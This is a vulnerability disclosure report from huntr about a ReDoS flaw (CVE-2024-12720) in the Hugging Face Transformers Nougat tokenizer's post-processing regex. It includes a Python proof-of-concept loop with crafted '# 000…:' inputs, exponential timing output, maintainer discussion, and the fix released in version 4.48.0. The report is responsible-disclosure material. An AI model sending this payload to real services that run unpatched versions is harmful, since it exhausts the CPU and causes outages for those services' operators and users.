

Regular expression Denial of Service - ReDoS in [huggingface/transformers](#)

✓ Valid

Reported on Dec 3rd 2024

Description

A Regular Expression Denial of Service (ReDoS) vulnerability identified in the Transformers library, specifically in the file `tokenization_nougat_fast.py`.

The vulnerability occurs in the `post_process_single()` function, where a regular expression processes specially crafted input. The issue stems from the regex exhibiting exponential time complexity under certain conditions, leading to excessive backtracking.

This can result in significantly high CPU usage and potential application downtime, effectively creating a Denial of Service (DoS) scenario.

Affected Code:

File: [tokenization_nougat_fast.py](#)

```
generation = re.sub(r"^#+ (?:\.?(?:\d|[ixv])+)*\s*(?:$|\n\s*)", "", generation, fla
```

The regular expression has exponential time complexity. For example, adding an extra 0 in an input like `# 00:` significantly increases the processing time.

Since the `post_process_generation()` function calls `post_process_single()`, it is also affected by this vulnerability.

Proof of Concept

```
python -m venv venv
source venv/bin/activate
```

Install requirement

```
pip install huggingface_hub
pip install pillow
pip install transformers
pip install datasets
```

```
pip install torch
pip install python-Levenshtein
pip install nltk
```

References: https://huggingface.co/docs/transformers/en/model_doc/nougat#inference

The NougatImageProcessor class is responsible for preprocessing the input image and

Therefore, both NougatTokenizerFast and NougatProcessor are impacted, as they internally call the vulnerable post_process_single() function.

Load model and run poc script:

```
from huggingface_hub import hf_hub_download
import re
import time
from PIL import Image

from transformers import NougatProcessor, VisionEncoderDecoderModel, NougatTokenizerFast
from datasets import load_dataset
import torch

processor = NougatProcessor.from_pretrained("facebook/nougat-base")

for i in range(1, 50):
    padding = i * "0"
    input_str = f"# {padding}:"

    start_time = time.time()
    sequence = processor.post_process_generation(input_str, fix_markdown=False)
    # or sequence = processor.post_process_single(input_str, fix_markdown=False)
    end_time = time.time()

    print(f"Execution time: {end_time - start_time:.6f} s , Payload (len={len(input_str)})")
```

```
(venv) taiwhis@taiwhis:~/tools/exp$ python3 1.py
Execution time: 0.001859 s , Payload (len=4): # 0:
Execution time: 0.000067 s , Payload (len=5): # 00:
Execution time: 0.000033 s , Payload (len=6): # 000:
Execution time: 0.000030 s , Payload (len=7): # 0000:
Execution time: 0.000031 s , Payload (len=8): # 00000:
Execution time: 0.000040 s , Payload (len=9): # 000000:
Execution time: 0.000041 s , Payload (len=10): # 0000000:
Execution time: 0.000064 s , Payload (len=11): # 00000000:
Execution time: 0.000062 s , Payload (len=12): # 000000000:
Execution time: 0.000095 s , Payload (len=13): # 0000000000:
Execution time: 0.000161 s , Payload (len=14): # 00000000000:
Execution time: 0.000291 s , Payload (len=15): # 000000000000:
Execution time: 0.000564 s , Payload (len=16): # 0000000000000:
Execution time: 0.001084 s , Payload (len=17): # 00000000000000:
Execution time: 0.002129 s , Payload (len=18): # 000000000000000:
Execution time: 0.004457 s , Payload (len=19): # 0000000000000000:
```

```
Execution time: 0.008582 s , Payload (len=20): # 000000000000000000:
Execution time: 0.016999 s , Payload (len=21): # 0000000000000000000:
Execution time: 0.033919 s , Payload (len=22): # 00000000000000000000:
Execution time: 0.068109 s , Payload (len=23): # 000000000000000000000:
Execution time: 0.134744 s , Payload (len=24): # 0000000000000000000000:
Execution time: 0.270736 s , Payload (len=25): # 00000000000000000000000:
Execution time: 0.537959 s , Payload (len=26): # 000000000000000000000000:
Execution time: 1.073299 s , Payload (len=27): # 0000000000000000000000000:
Execution time: 2.148239 s , Payload (len=28): # 00000000000000000000000000:
Execution time: 4.287868 s , Payload (len=29): # 000000000000000000000000000:
Execution time: 8.708853 s , Payload (len=30): # 0000000000000000000000000000:
Execution time: 17.330813 s , Payload (len=31): # 00000000000000000000000000000:
Execution time: 34.909411 s , Payload (len=32): # 000000000000000000000000000000:
Execution time: 69.486940 s , Payload (len=33): # 0000000000000000000000000000000:
Execution time: 139.161228 s , Payload (len=34): # 000000000000000000000000000000000:
Execution time: 276.954978 s , Payload (len=35): # 0000000000000000000000000000000000:
Execution time: 555.134128 s , Payload (len=36): # 00000000000000000000000000000000000:
.....
```

At this point, it becomes evident that adding just one additional character causes the execution time to double compared to the previous input, with CPU usage progressively increasing as well. With the execution time increasing exponentially, it is possible to calculate the response time as the number of iterations grows. For example, when the number of iterations reaches 50, it would take approximately 841-843 days to complete the computation. This highlights the severity of the issue when handling maliciously crafted inputs.

```
taiwhis@taiwhis:~/tools/exp$ ps -p 3551982 -o pid,%cpu,cmd
PID %CPU CMD
3551982 97.8 python3 1.py
```

Some similar huntr reports

- [Regular expression Denial of Service - ReDoS in kubeflow/kubeflow](#)
- [Inefficient Regular Expression Complexity in fb55/nth-check](#)
- [Inefficient Regular Expression Complexity in chalk/ansi-regex](#)
- [Inefficient Regular Expression Complexity in ampproject/amphtml](#)

Impact

An attacker can exploit this by providing maliciously crafted input strings. This forces the application into intensive processing, resulting in:

- High CPU usage
- Potential application downtime Effectively, this creates a Denial of Service (DoS) scenario.

Occurrences

References

- [Regular_expression_Denial_of_Service_-_ReDoS](#)
- [How to fix a ReDoS](#)

⚙️ We are processing your report and will contact the [huggingface/transformers](#) team within 24 hours. a year ago



✎ taiphung217 modified the report a year ago



huntr-helper commented a year ago

Admin

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Local redos (regular expression denial of service) vulnerabilities that are not remotely exploitable



taiphung217 commented a year ago

Researcher

Hi @huntr-helper

APIs or services using NougatTokenizerFast and NougatProcessor remain vulnerable to exploitation by remote users. If these components are integrated into applications, an attacker could trigger the vulnerability by sending malicious input strings to the server, resulting in a Denial of Service (DoS).

Indirect Impact: Any application leveraging the Transformers library utilizes `post_process_single()` to generate output predictions. In such cases, an attacker can exploit this vulnerability remotely.

Moreover, the payload increases with each additional character, so in production systems that process user input or large datasets—such as in chatbots, recommendation systems, or natural language processing services—the vulnerability could inadvertently be triggered, leading to increased CPU performance and unnecessary resource consumption.

Additionally, I referenced several related huntr reports that demonstrate the impact of ReDoS vulnerabilities on system performance



A [huggingface/transformers](#) maintainer has acknowledged this report a year ago

✎ The scheduled publication date was automatically extended from 3rd Mar 2025 to 10th Mar 2025 due to the maintainers acknowledgement of the report a year ago

✎ **Michelle Habonneau** modified the Severity from High (7.5) to Medium (5.3) a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ **Michelle Habonneau** validated this vulnerability a year ago

Hi, Thank you for reporting. We have applied a fix in <https://github.com/huggingface/transformers/pull/35264/files>. All the best!

\$ **taiphung217** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🏆 **CVE-2024-12720** assigned to this report. a year ago

Michelle Habonneau commented a year ago

Maintainer

Please note we will be applying the fix in PR above to production in the next release. We'll make this as fixed when the release has been finalized, thanks!

taiphung217 commented a year ago

Researcher

Thank you for your response. All the best!

taiphung217 commented a year ago

Researcher

Hi @michellehbn, can you publish this CVE?

✓ **Michelle Habonneau** marked this as fixed in 4.48.0 with commit **deac97** a year ago

\$ The fix bounty has been dropped ✗

\$ **tokenization_nougat_fast.py#L517** has been validated ✓

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up a year ago

⚠ We have sent a warning to the **huggingface/transformers** team to inform them that this report will be published in 48 hours a year ago



This vulnerability has now been published a year ago



CVE-2024-12720 has now been published 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-12720

Published

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

v4.46.3 (latest)

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



taiphung217

@taiphung217

MIDDLEWEIGHT



